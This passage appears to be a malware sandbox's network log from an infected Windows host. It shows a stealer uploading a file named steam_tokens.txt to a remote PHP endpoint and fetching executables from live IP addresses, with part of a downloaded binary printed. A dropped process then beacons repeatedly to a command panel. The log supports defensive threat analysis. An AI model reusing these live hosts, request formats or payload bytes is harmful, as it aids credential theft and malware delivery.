name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file"------KFCGDBAKKKFBGDHJKFHJ--
Jun 27, 2024 07:37:20.148760080 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 07:37:20.175766945 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="message"jbdtaijovg------IDHIEBAAKJDHIECAAFHC--
Jun 27, 2024 07:37:20.999111891 CEST	331	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	77.91.77.81	80	6532	C:\Users\user\Desktop\tAa6xNsucX.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:21.008054018 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jun 27, 2024 07:37:21.700752974 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:21 GMT Content-Type: application/octet-stream Content-Length: 1903104 Last-Modified: Thu, 27 Jun 2024 04:21:42 GMT Connection: keep-alive ETag: "667ce8d6-1d0a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 13 50 4a 58 72 3e 19 58 72 3e 19 58 72 3e 19 03 1a 3d 18 56 72 3e 19 03 1a 3b 18 f8 72 3e 19 8d 1f 3a 18 4a 72 3e 19 8d 1f 3d 18 4e 72 3e 19 8d 1f 3b 18 2d 72 3e 19 03 1a 3a 18 4c 72 3e 19 03 1a 3f 18 4b 72 3e 19 58 72 3f 19 8c 72 3e 19 c3 1c 37 18 59 72 3e 19 c3 1c c1 19 59 72 3e 19 c3 1c 3c 18 59 72 3e 19 52 69 63 68 58 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 57 59 50 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 c4 01 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJXr>Xr>Xr>=Vr>;r>:Jr>=Nr>;-r>:Lr>?Kr>Xr?r>7Yr>Yr><Yr>RichXr>PELWYPfpK@K@VjpQKPK `@.rsrcp@.idata @ *@loawlfyy`1@wnkrvcvh`K@.taggant0pK"@
Jun 27, 2024 07:37:21.700807095 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 27, 2024 07:37:21.700818062 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 27, 2024 07:37:21.700859070 CEST	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 27, 2024 07:37:21.700961113 CEST	1236	IN	Data Raw: 9f 97 0c 89 8e 16 d0 5c c8 86 4c 9d de 91 e9 84 f5 63 20 cb 5a 5d df ab 93 3b 4c ed de 35 a9 76 dd a3 3c 51 8d f8 3e 7d 1e 03 ea fa 5f 85 04 fd 8d 9b 3a fe a2 77 8c 08 d0 f5 eb 3c 0e c1 38 82 80 1e 06 6c de 37 bc ba ee 73 04 f9 19 af b8 a4 63 e0 Data Ascii: \Lc Z];L5v<Q>}_:w<8l7scK\|zwlIvpqw6I?$;g`~G[p~}^<&\|Qz7Ft#H>.p~}SgVG4Zp7@\|H?<;NVLEq~Zc
Jun 27, 2024 07:37:21.700979948 CEST	1236	IN	Data Raw: 0b a9 a9 e4 b9 83 4c b9 a8 c3 7f cf da bf 72 bc ac a7 58 9d e0 87 3d 01 8f 60 5f 94 fe f7 f5 ce 19 7f dc 88 7e 1b 21 bd 03 bd 24 50 0a 55 ac 36 5e 6f f8 80 25 fe e9 64 be 70 36 c4 5e 70 34 af 8d ff 38 5d c3 5f ea 44 8c 15 dc 02 de c0 4c 5a 8f 71 Data Ascii: LrX=`_~!$PU6^o%dp6^p48]_DLZq~+ZL_(%^$>z?Le `~#Q%#Wdd9c`'Jy/e-E{$0~#gm\S#fol,Sy(fwLT5\|%>_< ~#:p\|(}C>7o
Jun 27, 2024 07:37:21.700990915 CEST	1236	IN	Data Raw: af 68 0b 70 e0 ab 1e 66 cc 2d 9f 00 41 86 ef 81 81 7e 19 82 cf fa 6f 5b b9 52 59 99 11 87 03 8c 25 9b 48 fe 14 02 6c 82 70 b2 e8 cc d9 91 c4 93 e2 b6 a0 24 27 08 a5 6e b1 1f bb c7 8e 85 1c 3d ce 74 3a 1d f4 b9 ef d9 30 15 1b 0c 53 c4 85 ee fb 04 Data Ascii: hpf-A~o[RY%Hlp$'n=t:0SMpT`Zm*~i<'n\|0<\|7}\>pc+pi0+aXhhi\g^YRhf?\='Ct\$S=dblR 4 :[E(RooKQag@I
Jun 27, 2024 07:37:21.701122046 CEST	1236	IN	Data Raw: a6 2a 0a 2d 9b 0b 5f 12 6e 78 d5 87 98 ae 27 9b 77 9d d8 12 9e 02 8e 86 a9 c5 a1 bb e6 53 28 99 ef fd f8 44 a9 99 66 cb ba 08 0a 94 7d 81 39 45 96 39 f4 28 98 7b 41 7f e0 b9 22 28 1a 76 69 cb ab ff 86 3c c5 83 22 89 4d a7 2d bd bd c9 24 a4 38 92 Data Ascii: *-_nx'wS(Df}9E9({A"(vi<"M-$8{w/%pD(2@:,%FQP[Pmv!Nld1+:T<;P(dX<pG%.WKelRf+^H
Jun 27, 2024 07:37:21.701133013 CEST	1236	IN	Data Raw: b9 03 5f 4b 68 a7 50 f0 fe ab bc 88 55 a5 a5 de 6f 7e 80 af bc ab 3a a5 72 c1 08 81 1f 3a 8f c7 93 ef 21 13 e5 c1 19 9b 4d b7 38 95 a3 fa 23 aa 6d e6 8b 4d 1c cb a7 07 d6 31 6c ed a7 43 23 68 f6 04 a5 fa 65 50 6e 0a 62 b7 1f cb e3 b7 a8 cc 80 01 Data Ascii: _KhPUo~:r:!M8#mM1lC#hePnb`ut$Kv=]69"; 4N<g/-FQ>$?uPh*f#@~~^_oqx8/o2>N[D`\;>lZ%!)i
Jun 27, 2024 07:37:21.701144934 CEST	1236	IN	Data Raw: fd 67 47 94 d0 36 32 c3 a2 27 1d e6 cf 32 39 73 71 95 df 73 9c f2 a4 89 51 5f 31 85 54 97 68 a9 1f dc 68 11 06 3f 4a d1 2e 09 ba c3 81 f4 19 a1 5a df fb fd 73 ef e7 a9 d3 29 28 97 7c cf 59 bc db 5f b6 e7 6d 66 e4 3d 8d 62 2c 0a ba c2 ac ec ed d6 Data Ascii: gG62'29sqsQ_1Thh?J.Zs)(\|Y_mf=b, f,l+6g[E@%%9~'>u5[`Tr*fF>TUrcb!l#nR}qk}5e<<H}4A8h'MS]>]cTz&A0
Jun 27, 2024 07:37:21.706137896 CEST	1236	IN	Data Raw: 25 b3 fc 4a 4d 40 82 0c dc 29 1e 9c 8c 71 ea 7c 54 8c aa 07 43 80 19 1a 0f eb 98 d3 1a ae 84 a8 9f 50 23 ba d5 c1 1b ff 15 8c 26 45 74 18 28 da d6 5b e6 82 a8 37 a4 a9 47 49 53 11 18 68 ea 86 19 72 3c 8e 58 1b 2a 3d e8 80 d4 8e cf c3 93 b6 46 46 Data Ascii: %JM@)q\|TCP#&Et([7GIShr<X=FFf@^nnH n$-2iX!rvC+}K"2WP;+9tub\`KwKo hEMdC+EZp-@Rb^7Vj_,PKWLzFc~25v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49719	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:33.213792086 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:33.892184973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:33.894757032 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:34.111623049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49720	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:34.220710993 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:34.890435934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:34.891416073 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:35.102658033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:35.218637943 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:35.886210918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:35.887002945 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:36.092525005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:36.207853079 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:36.889770985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:36.890661955 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:37.114185095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:37.239754915 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:37.940797091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:37.942631960 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:38.155839920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:38.265608072 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:38.961031914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:38.961952925 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:39.172740936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49725	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:39.286041975 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:39.956587076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:39.957596064 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:40.164423943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49726	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:40.280940056 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:40.948513985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
